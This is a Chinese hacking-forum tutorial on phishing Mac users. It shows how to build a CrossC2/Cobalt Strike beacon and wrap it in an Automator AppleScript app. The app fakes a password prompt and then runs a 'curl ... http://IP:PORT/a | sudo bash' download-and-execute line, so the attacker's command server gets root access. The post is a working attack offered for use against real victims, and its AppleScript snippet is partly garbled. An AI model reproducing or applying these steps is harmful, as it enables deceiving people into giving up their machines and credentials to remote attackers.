电脑疯子技术论坛|电脑极客社区

微信扫一扫 分享朋友圈

已有 1206 人浏览分享

MAC钓鱼并Root权限上线CS并权限维持,以及所有的坑如何解决

[复制链接]
1206 0
制作MAC

一、下载工具

首先从github上下载CrossC2。链接:https://github.com/gloxec/CrossC2/releases/tag/v3.1.0。

QQ截图20221212153435.png

根据你CS客户端的操作系统选择这里面的对应版本,以及CorssC2-githubBot-2022-06-07.cna
这个CS插件。

二、CrossC2使用

首先用编辑器打开CorssC2-githubBot-2022-06-07.cna插件。

QQ截图20221212153524.png

将红色框出来的位置填上CrossC2

可执行文件的绝对路径(linux和mac版本要使用chmod +x 添加执行权限)。

然后去CS中添加插件即可。

69.png

68.png

注意:这里的linster要用https的监听。

在生成木马时一定要注意需要将cs服务端中的.cobaltstrike.beacon_keys复制到客户端上
在红框处选中文件即可。

66.png

这里的ProcessName是木马启动后在主机上的进程名,然后点机Build即可。在CS的log中会出现一个
curl的命令,只需在被攻击机上执行便会上线。

66.png

三、Root Mac app木马的制作

1、工具

18.png

2、木马创建

打开automator.app,并且点击到运行Applescript。

62.png

这是我们的木马程序,大致意思是执行我们的木马程序并且以root身份执行(此处的代码是从mac官方找到的模版)。

set unixDesktopPath to POSIX path of "/System/Library/User Template/"
set quotedUnixDesktopPath to quoted form of unixDesktopPath
set fromUnix to do shell script " curl \-A O \-o\- \-L http://IP:PORT/a \|sudo bash \-s " & quote
dUnixDesktopPath with administrator privileges

end ru

制作好后点击保存即可

16.png

3、运行

当点击这里的制作好的app程序会弹出输入密码的提示框这里是做钓鱼时使用的木马 弹窗的名字
都是以任意更改的。

13.png

当一输入密码就会上线到我们的CS上,此时CS上的用户是root。

6.png

权限维持

权限维持等下一期出,感谢大家的关注。

您需要登录后才可以回帖 登录 | 注册

本版积分规则

1

关注

0

粉丝

9021

主题
精彩推荐
热门资讯
网友晒图
图文推荐

Powered by Pcgho! X3.4

© 2008-2022 Pcgho Inc.